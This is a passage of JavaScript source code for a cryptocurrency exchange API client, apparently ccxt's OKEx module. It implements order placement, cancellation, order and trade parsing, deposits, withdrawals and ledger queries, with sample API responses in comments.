// "equity":"3.0139",
// "fixed_balance":"0.0000",
// "instrument_id":"EOS-USD-SWAP",
// "margin":"0.5523",
// "margin_frozen":"0.0000",
// "margin_mode":"crossed",
// "margin_ratio":"1.0913",
// "realized_pnl":"-0.0006",
// "timestamp":"2019-03-25T03:46:10.336Z",
// "total_avail_balance":"3.0000",
// "unrealized_pnl":"0.0145"
// }
// ]
// }
//
return this.parseBalanceByType (type, response);
}
parseBalanceByType (type, response) {
if ((type === 'account') || (type === 'spot')) {
return this.parseAccountBalance (response);
} else if (type === 'margin') {
return this.parseMarginBalance (response);
} else if (type === 'futures') {
return this.parseFuturesBalance (response);
} else if (type === 'swap') {
return this.parseSwapBalance (response);
}
throw new NotSupported (this.id + " fetchBalance does not support the '" + type + "' type (the type must be one of 'account', 'spot', 'margin', 'futures', 'swap')");
}
async createOrder (symbol, type, side, amount, price = undefined, params = {}) {
await this.loadMarkets ();
const market = this.market (symbol);
let request = {
'instrument_id': market['id'],
// 'client_oid': 'abcdef1234567890', // [a-z0-9]{1,32}
// 'order_type': '0', // 0 = Normal limit order, 1 = Post only, 2 = Fill Or Kill, 3 = Immediatel Or Cancel, 4 = Market for futures only
};
const clientOrderId = this.safeString2 (params, 'client_oid', 'clientOrderId');
if (clientOrderId !== undefined) {
request['client_oid'] = clientOrderId;
params = this.omit (params, [ 'client_oid', 'clientOrderId' ]);
}
let method = undefined;
if (market['futures'] || market['swap']) {
const size = market['futures'] ? this.numberToString (amount) : this.amountToPrecision (symbol, amount);
request = this.extend (request, {
'type': type, // 1:open long 2:open short 3:close long 4:close short for futures
'size': size,
// 'match_price': '0', // Order at best counter party price? (0:no 1:yes). The default is 0. If it is set as 1, the price parameter will be ignored. When posting orders at best bid price, order_type can only be 0 (regular order).
});
const orderType = this.safeString (params, 'order_type');
// order_type === '4' means a market order
const isMarketOrder = (type === 'market') || (orderType === '4');
if (isMarketOrder) {
request['order_type'] = '4';
} else {
request['price'] = this.priceToPrecision (symbol, price);
}
if (market['futures']) {
request['leverage'] = '10'; // or '20'
}
method = market['type'] + 'PostOrder';
} else {
const marginTrading = this.safeString (params, 'margin_trading', '1'); // 1 = spot, 2 = margin
request = this.extend (request, {
'side': side,
'type': type, // limit/market
'margin_trading': marginTrading, // 1 = spot, 2 = margin
});
if (type === 'limit') {
request['price'] = this.priceToPrecision (symbol, price);
request['size'] = this.amountToPrecision (symbol, amount);
} else if (type === 'market') {
// for market buy it requires the amount of quote currency to spend
if (side === 'buy') {
let notional = this.safeFloat (params, 'notional');
const createMarketBuyOrderRequiresPrice = this.safeValue (this.options, 'createMarketBuyOrderRequiresPrice', true);
if (createMarketBuyOrderRequiresPrice) {
if (price !== undefined) {
if (notional === undefined) {
notional = amount * price;
}
} else if (notional === undefined) {
throw new InvalidOrder (this.id + " createOrder() requires the price argument with market buy orders to calculate total order cost (amount to spend), where cost = amount * price. Supply a price argument to createOrder() call if you want the cost to be calculated for you from price and amount, or, alternatively, add .options['createMarketBuyOrderRequiresPrice'] = false and supply the total cost value in the 'amount' argument or in the 'notional' extra parameter (the exchange-specific behaviour)");
}
} else {
notional = (notional === undefined) ? amount : notional;
}
const precision = market['precision']['price'];
request['notional'] = this.decimalToPrecision (notional, TRUNCATE, precision, this.precisionMode);
} else {
request['size'] = this.amountToPrecision (symbol, amount);
}
}
method = (marginTrading === '2') ? 'marginPostOrders' : 'spotPostOrders';
}
const response = await this[method] (this.extend (request, params));
//
// {
// "client_oid":"oktspot79",
// "error_code":"",
// "error_message":"",
// "order_id":"2510789768709120",
// "result":true
// }
//
const order = this.parseOrder (response, market);
return this.extend (order, {
'type': type,
'side': side,
});
}
async cancelOrder (id, symbol = undefined, params = {}) {
if (symbol === undefined) {
throw new ArgumentsRequired (this.id + ' cancelOrder() requires a symbol argument');
}
await this.loadMarkets ();
const market = this.market (symbol);
let type = undefined;
if (market['futures'] || market['swap']) {
type = market['type'];
} else {
const defaultType = this.safeString2 (this.options, 'cancelOrder', 'defaultType', market['type']);
type = this.safeString (params, 'type', defaultType);
}
if (type === undefined) {
throw new ArgumentsRequired (this.id + " cancelOrder requires a type parameter (one of 'spot', 'margin', 'futures', 'swap').");
}
let method = type + 'PostCancelOrder';
const request = {
'instrument_id': market['id'],
};
if (market['futures'] || market['swap']) {
method += 'InstrumentId';
} else {
method += 's';
}
const clientOrderId = this.safeString2 (params, 'client_oid', 'clientOrderId');
if (clientOrderId !== undefined) {
method += 'ClientOid';
request['client_oid'] = clientOrderId;
} else {
method += 'OrderId';
request['order_id'] = id;
}
const query = this.omit (params, [ 'type', 'client_oid', 'clientOrderId' ]);
const response = await this[method] (this.extend (request, query));
const result = ('result' in response) ? response : this.safeValue (response, market['id'], {});
//
// spot, margin
//
// {
// "btc-usdt": [
// {
// "result":true,
// "client_oid":"a123",
// "order_id": "2510832677225473"
// }
// ]
// }
//
// futures, swap
//
// {
// "result": true,
// "client_oid": "oktfuture10", // missing if requested by order_id
// "order_id": "2517535534836736",
// "instrument_id": "EOS-USD-190628"
// }
//
return this.parseOrder (result, market);
}
parseOrderStatus (status) {
const statuses = {
'-2': 'failed',
'-1': 'canceled',
'0': 'open',
'1': 'open',
'2': 'closed',
'3': 'open',
'4': 'canceled',
};
return this.safeString (statuses, status, status);
}
parseOrderSide (side) {
const sides = {
'1': 'buy', // open long
'2': 'sell', // open short
'3': 'sell', // close long
'4': 'buy', // close short
};
return this.safeString (sides, side, side);
}
parseOrder (order, market = undefined) {
//
// createOrder
//
// {
// "client_oid":"oktspot79",
// "error_code":"",
// "error_message":"",
// "order_id":"2510789768709120",
// "result":true
// }
//
// cancelOrder
//
// {
// "result": true,
// "client_oid": "oktfuture10", // missing if requested by order_id
// "order_id": "2517535534836736",
// // instrument_id is missing for spot/margin orders
// // available in futures and swap orders only
// "instrument_id": "EOS-USD-190628",
// }
//
// fetchOrder, fetchOrdersByState, fetchOpenOrders, fetchClosedOrders
//
// // spot and margin orders
//
// {
// "client_oid":"oktspot76",
// "created_at":"2019-03-18T07:26:49.000Z",
// "filled_notional":"3.9734",
// "filled_size":"0.001", // filled_qty in futures and swap orders
// "funds":"", // this is most likely the same as notional
// "instrument_id":"BTC-USDT",
// "notional":"",
// "order_id":"2500723297813504",
// "order_type":"0",
// "price":"4013",
// "product_id":"BTC-USDT", // missing in futures and swap orders
// "side":"buy",
// "size":"0.001",
// "status":"filled",
// "state": "2",
// "timestamp":"2019-03-18T07:26:49.000Z",
// "type":"limit"
// }
//
// // futures and swap orders
//
// {
// "instrument_id":"EOS-USD-190628",
// "size":"10",
// "timestamp":"2019-03-20T10:04:55.000Z",
// "filled_qty":"10", // filled_size in spot and margin orders
// "fee":"-0.00841043",
// "order_id":"2512669605501952",
// "price":"3.668",
// "price_avg":"3.567", // missing in spot and margin orders
// "status":"2",
// "state": "2",
// "type":"4",
// "contract_val":"10",
// "leverage":"10", // missing in swap, spot and margin orders
// "client_oid":"",
// "pnl":"1.09510794", // missing in swap, spo and margin orders
// "order_type":"0"
// }
//
const id = this.safeString (order, 'order_id');
const timestamp = this.parse8601 (this.safeString (order, 'timestamp'));
let side = this.safeString (order, 'side');
const type = this.safeString (order, 'type');
if ((side !== 'buy') && (side !== 'sell')) {
side = this.parseOrderSide (type);
}
let symbol = undefined;
const marketId = this.safeString (order, 'instrument_id');
if (marketId in this.markets_by_id) {
market = this.markets_by_id[marketId];
symbol = market['symbol'];
} else {
symbol = marketId;
}
if (market !== undefined) {
if (symbol === undefined) {
symbol = market['symbol'];
}
}
let amount = this.safeFloat (order, 'size');
const filled = this.safeFloat2 (order, 'filled_size', 'filled_qty');
let remaining = undefined;
if (amount !== undefined) {
if (filled !== undefined) {
amount = Math.max (amount, filled);
remaining = Math.max (0, amount - filled);
}
}
if (type === 'market') {
remaining = 0;
}
let cost = this.safeFloat2 (order, 'filled_notional', 'funds');
const price = this.safeFloat (order, 'price');
let average = this.safeFloat (order, 'price_avg');
if (cost === undefined) {
if (filled !== undefined && average !== undefined) {
cost = average * filled;
}
} else {
if ((average === undefined) && (filled !== undefined) && (filled > 0)) {
average = cost / filled;
}
}
const status = this.parseOrderStatus (this.safeString (order, 'state'));
const feeCost = this.safeFloat (order, 'fee');
let fee = undefined;
if (feeCost !== undefined) {
const feeCurrency = undefined;
fee = {
'cost': feeCost,
'currency': feeCurrency,
};
}
let clientOrderId = this.safeString (order, 'client_oid');
if ((clientOrderId !== undefined) && (clientOrderId.length < 1)) {
clientOrderId = undefined; // fix empty clientOrderId string
}
return {
'info': order,
'id': id,
'clientOrderId': clientOrderId,
'timestamp': timestamp,
'datetime': this.iso8601 (timestamp),
'lastTradeTimestamp': undefined,
'symbol': symbol,
'type': type,
'side': side,
'price': price,
'average': average,
'cost': cost,
'amount': amount,
'filled': filled,
'remaining': remaining,
'status': status,
'fee': fee,
'trades': undefined,
};
}
async fetchOrder (id, symbol = undefined, params = {}) {
if (symbol === undefined) {
throw new ArgumentsRequired (this.id + ' fetchOrder requires a symbol argument');
}
await this.loadMarkets ();
const market = this.market (symbol);
const defaultType = this.safeString2 (this.options, 'fetchOrder', 'defaultType', market['type']);
const type = this.safeString (params, 'type', defaultType);
if (type === undefined) {
throw new ArgumentsRequired (this.id + " fetchOrder requires a type parameter (one of 'spot', 'margin', 'futures', 'swap').");
}
const instrumentId = (market['futures'] || market['swap']) ? 'InstrumentId' : '';
let method = type + 'GetOrders' + instrumentId;
const request = {
'instrument_id': market['id'],
// 'client_oid': 'abcdef12345', // optional, [a-z0-9]{1,32}
// 'order_id': id,
};
const clientOid = this.safeString (params, 'client_oid');
if (clientOid !== undefined) {
method += 'ClientOid';
request['client_oid'] = clientOid;
} else {
method += 'OrderId';
request['order_id'] = id;
}
const query = this.omit (params, 'type');
const response = await this[method] (this.extend (request, query));
//
// spot, margin
//
// {
// "client_oid":"oktspot70",
// "created_at":"2019-03-15T02:52:56.000Z",
// "filled_notional":"3.8886",
// "filled_size":"0.001",
// "funds":"",
// "instrument_id":"BTC-USDT",
// "notional":"",
// "order_id":"2482659399697408",
// "order_type":"0",
// "price":"3927.3",
// "product_id":"BTC-USDT",
// "side":"buy",
// "size":"0.001",
// "status":"filled",
// "state": "2",
// "timestamp":"2019-03-15T02:52:56.000Z",
// "type":"limit"
// }
//
// futures, swap
//
// {
// "instrument_id":"EOS-USD-190628",
// "size":"10",
// "timestamp":"2019-03-20T02:46:38.000Z",
// "filled_qty":"10",
// "fee":"-0.0080819",
// "order_id":"2510946213248000",
// "price":"3.712",
// "price_avg":"3.712",
// "status":"2",
// "state": "2",
// "type":"2",
// "contract_val":"10",
// "leverage":"10",
// "client_oid":"", // missing in swap orders
// "pnl":"0", // missing in swap orders
// "order_type":"0"
// }
//
return this.parseOrder (response);
}
async fetchOrdersByState (state, symbol = undefined, since = undefined, limit = undefined, params = {}) {
if (symbol === undefined) {
throw new ArgumentsRequired (this.id + ' fetchOrdersByState requires a symbol argument');
}
await this.loadMarkets ();
const market = this.market (symbol);
let type = undefined;
if (market['futures'] || market['swap']) {
type = market['type'];
} else {
const defaultType = this.safeString2 (this.options, 'fetchOrder', 'defaultType', market['type']);
type = this.safeString (params, 'type', defaultType);
}
if (type === undefined) {
throw new ArgumentsRequired (this.id + " fetchOrder requires a type parameter (one of 'spot', 'margin', 'futures', 'swap').");
}
const request = {
'instrument_id': market['id'],
// '-2': failed,
// '-1': cancelled,
// '0': open ,
// '1': partially filled,
// '2': fully filled,
// '3': submitting,
// '4': cancelling,
// '6': incomplete(open+partially filled),
// '7': complete(cancelled+fully filled),
'state': state,
};
let method = type + 'GetOrders';
if (market['futures'] || market['swap']) {
method += 'InstrumentId';
}
const query = this.omit (params, 'type');
const response = await this[method] (this.extend (request, query));
//
// spot, margin
//
// [
// // in fact, this documented API response does not correspond
// // to their actual API response for spot markets
// // OKEX v3 API returns a plain array of orders (see below)
// [
// {
// "client_oid":"oktspot76",
// "created_at":"2019-03-18T07:26:49.000Z",
// "filled_notional":"3.9734",
// "filled_size":"0.001",
// "funds":"",
// "instrument_id":"BTC-USDT",
// "notional":"",
// "order_id":"2500723297813504",
// "order_type":"0",
// "price":"4013",
// "product_id":"BTC-USDT",
// "side":"buy",
// "size":"0.001",
// "status":"filled",
// "state": "2",
// "timestamp":"2019-03-18T07:26:49.000Z",
// "type":"limit"
// },
// ],
// {
// "before":"2500723297813504",
// "after":"2500650881647616"
// }
// ]
//
// futures, swap
//
// {
// "result":true, // missing in swap orders
// "order_info": [
// {
// "instrument_id":"EOS-USD-190628",
// "size":"10",
// "timestamp":"2019-03-20T10:04:55.000Z",
// "filled_qty":"10",
// "fee":"-0.00841043",
// "order_id":"2512669605501952",
// "price":"3.668",
// "price_avg":"3.567",
// "status":"2",
// "state": "2",
// "type":"4",
// "contract_val":"10",
// "leverage":"10", // missing in swap orders
// "client_oid":"",
// "pnl":"1.09510794", // missing in swap orders
// "order_type":"0"
// },
// ]
// }
//
let orders = undefined;
if (market['swap'] || market['futures']) {
orders = this.safeValue (response, 'order_info', []);
} else {
orders = response;
const responseLength = response.length;
if (responseLength < 1) {
return [];
}
// in fact, this documented API response does not correspond
// to their actual API response for spot markets
// OKEX v3 API returns a plain array of orders
if (responseLength > 1) {
const before = this.safeValue (response[1], 'before');
if (before !== undefined) {
orders = response[0];
}
}
}
return this.parseOrders (orders, market, since, limit);
}
async fetchOpenOrders (symbol = undefined, since = undefined, limit = undefined, params = {}) {
// '-2': failed,
// '-1': cancelled,
// '0': open ,
// '1': partially filled,
// '2': fully filled,
// '3': submitting,
// '4': cancelling,
// '6': incomplete(open+partially filled),
// '7': complete(cancelled+fully filled),
return await this.fetchOrdersByState ('6', symbol, since, limit, params);
}
async fetchClosedOrders (symbol = undefined, since = undefined, limit = undefined, params = {}) {
// '-2': failed,
// '-1': cancelled,
// '0': open ,
// '1': partially filled,
// '2': fully filled,
// '3': submitting,
// '4': cancelling,
// '6': incomplete(open+partially filled),
// '7': complete(cancelled+fully filled),
return await this.fetchOrdersByState ('7', symbol, since, limit, params);
}
parseDepositAddresses (addresses) {
const result = {};
for (let i = 0; i < addresses.length; i++) {
const address = this.parseDepositAddress (addresses[i]);
const code = address['currency'];
result[code] = address;
}
return result;
}
parseDepositAddress (depositAddress, currency = undefined) {
//
// {
// address: '0x696abb81974a8793352cbd33aadcf78eda3cfdfa',
// currency: 'eth'
// tag: 'abcde12345', // will be missing if the token does not require a deposit tag
// payment_id: 'abcde12345', // will not be returned if the token does not require a payment_id
// // can_deposit: 1, // 0 or 1, documented but missing
// // can_withdraw: 1, // 0 or 1, documented but missing
// }
//
const address = this.safeString (depositAddress, 'address');
let tag = this.safeString2 (depositAddress, 'tag', 'payment_id');
tag = this.safeString (depositAddress, 'memo', tag);
const currencyId = this.safeString (depositAddress, 'currency');
const code = this.safeCurrencyCode (currencyId);
this.checkAddress (address);
return {
'currency': code,
'address': address,
'tag': tag,
'info': depositAddress,
};
}
async fetchDepositAddress (code, params = {}) {
await this.loadMarkets ();
const currency = this.currency (code);
const request = {
'currency': currency['id'],
};
const response = await this.accountGetDepositAddress (this.extend (request, params));
//
// [
// {
// address: '0x696abb81974a8793352cbd33aadcf78eda3cfdfa',
// currency: 'eth'
// }
// ]
//
const addresses = this.parseDepositAddresses (response);
const address = this.safeValue (addresses, code);
if (address === undefined) {
throw new InvalidAddress (this.id + ' fetchDepositAddress cannot return nonexistent addresses, you should create withdrawal addresses with the exchange website first');
}
return address;
}
async withdraw (code, amount, address, tag = undefined, params = {}) {
this.checkAddress (address);
await this.loadMarkets ();
const currency = this.currency (code);
if (tag) {
address = address + ':' + tag;
}
const fee = this.safeString (params, 'fee');
if (fee === undefined) {
throw new ArgumentsRequired (this.id + " withdraw() requires a `fee` string parameter, network transaction fee must be ≥ 0. Withdrawals to OKCoin or OKEx are fee-free, please set '0'. Withdrawing to external digital asset address requires network transaction fee.");
}
const request = {
'currency': currency['id'],
'to_address': address,
'destination': '4', // 2 = OKCoin International, 3 = OKEx 4 = others
'amount': this.numberToString (amount),
'fee': fee, // String. Network transaction fee ≥ 0. Withdrawals to OKCoin or OKEx are fee-free, please set as 0. Withdrawal to external digital asset address requires network transaction fee.
};
if ('password' in params) {
request['trade_pwd'] = params['password'];
} else if ('trade_pwd' in params) {
request['trade_pwd'] = params['trade_pwd'];
} else if (this.password) {
request['trade_pwd'] = this.password;
}
const query = this.omit (params, [ 'fee', 'password', 'trade_pwd' ]);
if (!('trade_pwd' in request)) {
throw new ExchangeError (this.id + ' withdraw() requires this.password set on the exchange instance or a password / trade_pwd parameter');
}
const response = await this.accountPostWithdrawal (this.extend (request, query));
//
// {
// "amount":"0.1",
// "withdrawal_id":"67485",
// "currency":"btc",
// "result":true
// }
//
return {
'info': response,
'id': this.safeString (response, 'withdrawal_id'),
};
}
async fetchDeposits (code = undefined, since = undefined, limit = undefined, params = {}) {
await this.loadMarkets ();
const request = {};
let method = 'accountGetDepositHistory';
let currency = undefined;
if (code !== undefined) {
currency = this.currency (code);
request['currency'] = currency['id'];
method += 'Currency';
}
const response = await this[method] (this.extend (request, params));
return this.parseTransactions (response, currency, since, limit, params);
}
async fetchWithdrawals (code = undefined, since = undefined, limit = undefined, params = {}) {
await this.loadMarkets ();
const request = {};
let method = 'accountGetWithdrawalHistory';
let currency = undefined;
if (code !== undefined) {
currency = this.currency (code);
request['currency'] = currency['id'];
method += 'Currency';
}
const response = await this[method] (this.extend (request, params));
return this.parseTransactions (response, currency, since, limit, params);
}
parseTransactionStatus (status) {
//
// deposit statuses
//
// {
// '0': 'waiting for confirmation',
// '1': 'confirmation account',
// '2': 'recharge success'
// }
//
// withdrawal statues
//
// {
// '-3': 'pending cancel',
// '-2': 'cancelled',
// '-1': 'failed',
// '0': 'pending',
// '1': 'sending',
// '2': 'sent',
// '3': 'email confirmation',
// '4': 'manual confirmation',
// '5': 'awaiting identity confirmation'
// }
//
const statuses = {
'-3': 'pending',
'-2': 'canceled',
'-1': 'failed',
'0': 'pending',
'1': 'pending',
'2': 'ok',
'3': 'pending',
'4': 'pending',
'5': 'pending',
};
return this.safeString (statuses, status, status);
}
parseTransaction (transaction, currency = undefined) {
//
// withdraw
//
// {
// "amount":"0.1",
// "withdrawal_id":"67485",
// "currency":"btc",
// "result":true
// }
//
// fetchWithdrawals
//
// {
// amount: "4.72100000",
// withdrawal_id: "1729116",
// fee: "0.01000000eth",
// txid: "0xf653125bbf090bcfe4b5e8e7b8f586a9d87aa7de94598702758c0802b…",
// currency: "ETH",
// from: "7147338839",
// to: "0x26a3CB49578F07000575405a57888681249c35Fd",
// timestamp: "2018-08-17T07:03:42.000Z",
// status: "2"
// }
//
// fetchDeposits
//
// {
// "amount": "4.19511659",
// "txid": "14c9a8c925647cdb7e5b2937ea9aefe2b29b2c273150ad3f44b3b8a4635ed437",
// "currency": "XMR",
// "from": "",
// "to": "48PjH3ksv1fiXniKvKvyH5UtFs5WhfS2Vf7U3TwzdRJtCc7HJWvCQe56dRahyhQyTAViXZ8Nzk4gQg6o4BJBMUoxNy8y8g7",
// "deposit_id": 11571659, <-- we can use this
// "timestamp": "2019-10-01T14:54:19.000Z",
// "status": "2"
// }
//
let type = undefined;
let id = undefined;
let address = undefined;
const withdrawalId = this.safeString (transaction, 'withdrawal_id');
const addressFrom = this.safeString (transaction, 'from');
const addressTo = this.safeString (transaction, 'to');
if (withdrawalId !== undefined) {
type = 'withdrawal';
id = withdrawalId;
address = addressTo;
} else {
// the payment_id will appear on new deposits but appears to be removed from the response after 2 months
id = this.safeString2 (transaction, 'payment_id', 'deposit_id');
type = 'deposit';
address = addressTo;
}
const currencyId = this.safeString (transaction, 'currency');
const code = this.safeCurrencyCode (currencyId);
const amount = this.safeFloat (transaction, 'amount');
const status = this.parseTransactionStatus (this.safeString (transaction, 'status'));
const txid = this.safeString (transaction, 'txid');
const timestamp = this.parse8601 (this.safeString (transaction, 'timestamp'));
let feeCost = undefined;
if (type === 'deposit') {
feeCost = 0;
} else {
if (currencyId !== undefined) {
const feeWithCurrencyId = this.safeString (transaction, 'fee');
if (feeWithCurrencyId !== undefined) {
// https://github.com/ccxt/ccxt/pull/5748
const lowercaseCurrencyId = currencyId.toLowerCase ();
const feeWithoutCurrencyId = feeWithCurrencyId.replace (lowercaseCurrencyId, '');
feeCost = parseFloat (feeWithoutCurrencyId);
}
}
}
// todo parse tags
return {
'info': transaction,
'id': id,
'currency': code,
'amount': amount,
'addressFrom': addressFrom,
'addressTo': addressTo,
'address': address,
'tagFrom': undefined,
'tagTo': undefined,
'tag': undefined,
'status': status,
'type': type,
'updated': undefined,
'txid': txid,
'timestamp': timestamp,
'datetime': this.iso8601 (timestamp),
'fee': {
'currency': code,
'cost': feeCost,
},
};
}
parseMyTrade (pair, market = undefined) {
// check that trading symbols match in both entries
const userTrade = this.safeValue (pair, 1);
const otherTrade = this.safeValue (pair, 0);
const firstMarketId = this.safeString (otherTrade, 'instrument_id');
const secondMarketId = this.safeString (userTrade, 'instrument_id');
if (firstMarketId !== secondMarketId) {
throw new NotSupported (this.id + ' parseMyTrade() received unrecognized response format, differing instrument_ids in one fill, the exchange API might have changed, paste your verbose output: https://github.com/ccxt/ccxt/wiki/FAQ#what-is-required-to-get-help');
}
const marketId = firstMarketId;
market = this.safeMarket (marketId, market);
const symbol = market['symbol'];
const quoteId = market['quoteId'];
let side = undefined;
let amount = undefined;
let cost = undefined;
const receivedCurrencyId = this.safeString (userTrade, 'currency');
let feeCurrencyId = undefined;
if (receivedCurrencyId === quoteId) {
side = this.safeString (otherTrade, 'side');
amount = this.safeFloat (otherTrade, 'size');
cost = this.safeFloat (userTrade, 'size');
feeCurrencyId = this.safeString (otherTrade, 'currency');
} else {
side = this.safeString (userTrade, 'side');
amount = this.safeFloat (userTrade, 'size');
cost = this.safeFloat (otherTrade, 'size');
feeCurrencyId = this.safeString (userTrade, 'currency');
}
const id = this.safeString (userTrade, 'trade_id');
const price = this.safeFloat (userTrade, 'price');
const feeCostFirst = this.safeFloat (otherTrade, 'fee');
const feeCostSecond = this.safeFloat (userTrade, 'fee');
const feeCurrencyCodeFirst = this.safeCurrencyCode (this.safeString (otherTrade, 'currency'));
const feeCurrencyCodeSecond = this.safeCurrencyCode (this.safeString (userTrade, 'currency'));
let fee = undefined;
let fees = undefined;
// fee is either a positive number (invitation rebate)
// or a negative number (transaction fee deduction)
// therefore we need to invert the fee
// more about it https://github.com/ccxt/ccxt/issues/5909
if ((feeCostFirst !== undefined) && (feeCostFirst !== 0)) {
if ((feeCostSecond !== undefined) && (feeCostSecond !== 0)) {
fees = [
{
'cost': -feeCostFirst,
'currency': feeCurrencyCodeFirst,
},
{
'cost': -feeCostSecond,
'currency': feeCurrencyCodeSecond,
},
];
} else {
fee = {
'cost': -feeCostFirst,
'currency': feeCurrencyCodeFirst,
};
}
} else if ((feeCostSecond !== undefined) && (feeCostSecond !== 0)) {
fee = {
'cost': -feeCostSecond,
'currency': feeCurrencyCodeSecond,
};
} else {
fee = {
'cost': 0,
'currency': this.safeCurrencyCode (feeCurrencyId),
};
}
//
// simplified structures to show the underlying semantics
//
// // market/limit sell
//
// {
// "currency":"USDT",
// "fee":"-0.04647925", // ←--- fee in received quote currency
// "price":"129.13", // ←------ price
// "size":"30.98616393", // ←-- cost
// },
// {
// "currency":"ETH",
// "fee":"0",
// "price":"129.13",
// "size":"0.23996099", // ←--- amount
// },
//
// // market/limit buy
//
// {
// "currency":"ETH",
// "fee":"-0.00036049", // ←--- fee in received base currency
// "price":"129.16", // ←------ price
// "size":"0.240322", // ←----- amount
// },
// {
// "currency":"USDT",
// "fee":"0",
// "price":"129.16",
// "size":"31.03998952", // ←-- cost
// }
//
const timestamp = this.parse8601 (this.safeString2 (userTrade, 'timestamp', 'created_at'));
let takerOrMaker = this.safeString2 (userTrade, 'exec_type', 'liquidity');
if (takerOrMaker === 'M') {
takerOrMaker = 'maker';
} else if (takerOrMaker === 'T') {
takerOrMaker = 'taker';
}
const orderId = this.safeString (userTrade, 'order_id');
const result = {
'info': pair,
'timestamp': timestamp,
'datetime': this.iso8601 (timestamp),
'symbol': symbol,
'id': id,
'order': orderId,
'type': undefined,
'takerOrMaker': takerOrMaker,
'side': side,
'price': price,
'amount': amount,
'cost': cost,
'fee': fee,
};
if (fees !== undefined) {
result['fees'] = fees;
}
return result;
}
parseMyTrades (trades, market = undefined, since = undefined, limit = undefined, params = {}) {
const grouped = this.groupBy (trades, 'trade_id');
const tradeIds = Object.keys (grouped);
const result = [];
for (let i = 0; i < tradeIds.length; i++) {
const tradeId = tradeIds[i];
const pair = grouped[tradeId];
// make sure it has exactly 2 trades, no more, no less
const numTradesInPair = pair.length;
if (numTradesInPair === 2) {
const trade = this.parseMyTrade (pair);
result.push (trade);
}
}
let symbol = undefined;
if (market !== undefined) {
symbol = market['symbol'];
}
return this.filterBySymbolSinceLimit (result, symbol, since, limit);
}
async fetchMyTrades (symbol = undefined, since = undefined, limit = undefined, params = {}) {
// okex actually returns ledger entries instead of fills here, so each fill in the order
// is represented by two trades with opposite buy/sell sides, not one :\
// this aspect renders the 'fills' endpoint unusable for fetchOrderTrades
// until either OKEX fixes the API or we workaround this on our side somehow
if (symbol === undefined) {
throw new ArgumentsRequired (this.id + ' fetchMyTrades requires a symbol argument');
}
await this.loadMarkets ();
const market = this.market (symbol);
if ((limit !== undefined) && (limit > 100)) {
limit = 100;
}
const request = {
'instrument_id': market['id'],
// 'order_id': id, // string
// 'after': '1', // pagination of data to return records earlier than the requested ledger_id
// 'before': '1', // P=pagination of data to return records newer than the requested ledger_id
// 'limit': limit, // optional, number of results per request, default = maximum = 100
};
const defaultType = this.safeString2 (this.options, 'fetchMyTrades', 'defaultType');
const type = this.safeString (params, 'type', defaultType);
const query = this.omit (params, 'type');
const method = type + 'GetFills';
const response = await this[method] (this.extend (request, query));
//
// [
// // sell
// {
// "created_at":"2020-03-29T11:55:25.000Z",
// "currency":"USDT",
// "exec_type":"T",
// "fee":"-0.04647925",
// "instrument_id":"ETH-USDT",
// "ledger_id":"10562924353",
// "liquidity":"T",
// "order_id":"4636470489136128",
// "price":"129.13",
// "product_id":"ETH-USDT",
// "side":"buy",
// "size":"30.98616393",
// "timestamp":"2020-03-29T11:55:25.000Z",
// "trade_id":"18551601"
// },
// {
// "created_at":"2020-03-29T11:55:25.000Z",
// "currency":"ETH",
// "exec_type":"T",
// "fee":"0",
// "instrument_id":"ETH-USDT",
// "ledger_id":"10562924352",
// "liquidity":"T",
// "order_id":"4636470489136128",
// "price":"129.13",
// "product_id":"ETH-USDT",
// "side":"sell",
// "size":"0.23996099",
// "timestamp":"2020-03-29T11:55:25.000Z",
// "trade_id":"18551601"
// },
// // buy
// {
// "created_at":"2020-03-29T11:55:16.000Z",
// "currency":"ETH",
// "exec_type":"T",
// "fee":"-0.00036049",
// "instrument_id":"ETH-USDT",
// "ledger_id":"10562922669",
// "liquidity":"T",
// "order_id": "4636469894136832",
// "price":"129.16",
// "product_id":"ETH-USDT",
// "side":"buy",
// "size":"0.240322",
// "timestamp":"2020-03-29T11:55:16.000Z",
// "trade_id":"18551600"
// },
// {
// "created_at":"2020-03-29T11:55:16.000Z",
// "currency":"USDT",
// "exec_type":"T",
// "fee":"0",
// "instrument_id":"ETH-USDT",
// "ledger_id":"10562922668",
// "liquidity":"T",
// "order_id":"4636469894136832",
// "price":"129.16",
// "product_id":"ETH-USDT",
// "side":"sell",
// "size":"31.03998952",
// "timestamp":"2020-03-29T11:55:16.000Z",
// "trade_id":"18551600"
// }
// ]
//
return this.parseMyTrades (response, market, since, limit, params);
}
async fetchOrderTrades (id, symbol = undefined, since = undefined, limit = undefined, params = {}) {
const request = {
// 'instrument_id': market['id'],
'order_id': id,
// 'after': '1', // return the page after the specified page number
// 'before': '1', // return the page before the specified page number
// 'limit': limit, // optional, number of results per request, default = maximum = 100
};
return await this.fetchMyTrades (symbol, since, limit, this.extend (request, params));
}
async fetchLedger (code = undefined, since = undefined, limit = undefined, params = {}) {
await this.loadMarkets ();
const defaultType = this.safeString2 (this.options, 'fetchLedger', 'defaultType');
const type = this.safeString (params, 'type', defaultType);
const query = this.omit (params, 'type');
const suffix = (type === 'account') ? '' : 'Accounts';
let argument = '';
const request = {
// 'from': 'id',
// 'to': 'id',
};
if (limit !== undefined) {
request['limit'] = limit;
}
let currency = undefined;
if ((type === 'spot') || (type === 'futures')) {
if (code === undefined) {
throw new ArgumentsRequired (this.id + " fetchLedger requires a currency code argument for '" + type + "' markets");
}
argument = 'Currency';
currency = this.currency (code);
request['currency'] = currency['id'];
} else if ((type === 'margin') || (type === 'swap')) {
if (code === undefined) {
throw new ArgumentsRequired (this.id + " fetchLedger requires a code argument (a market symbol) for '" + type + "' markets");
}
argument = 'InstrumentId';
const market = this.market (code); // we intentionally put a market inside here for the margin and swap ledgers
currency = this.currency (market['base']);
request['instrument_id'] = market['id'];
//
// if (type === 'margin') {
// //
// // 3. Borrow
// // 4. Repayment
// // 5. Interest
// // 7. Buy
// // 8. Sell
// // 9. From capital account
// // 10. From C2C
// // 11. From Futures
// // 12. From Spot
// // 13. From ETT
// // 14. To capital account
// // 15. To C2C
// // 16. To Spot
// // 17. To Futures
// // 18. To ETT
// // 19. Mandatory Repayment
// // 20. From Piggybank
// // 21. To Piggybank
// // 22. From Perpetual
// // 23. To Perpetual
// // 24. Liquidation Fee
// // 54. Clawback
// // 59. Airdrop Return.
// //
// request['type'] = 'number'; // All types will be returned if this filed is left blank
// }
//
} else if (type === 'account') {
if (code !== undefined) {
currency = this.currency (code);
request['currency'] = currency['id'];
}
//
// //
// // 1. deposit
// // 2. withdrawal
// // 13. cancel withdrawal
// // 18. into futures account
// // 19. out of futures account
// // 20. into sub account
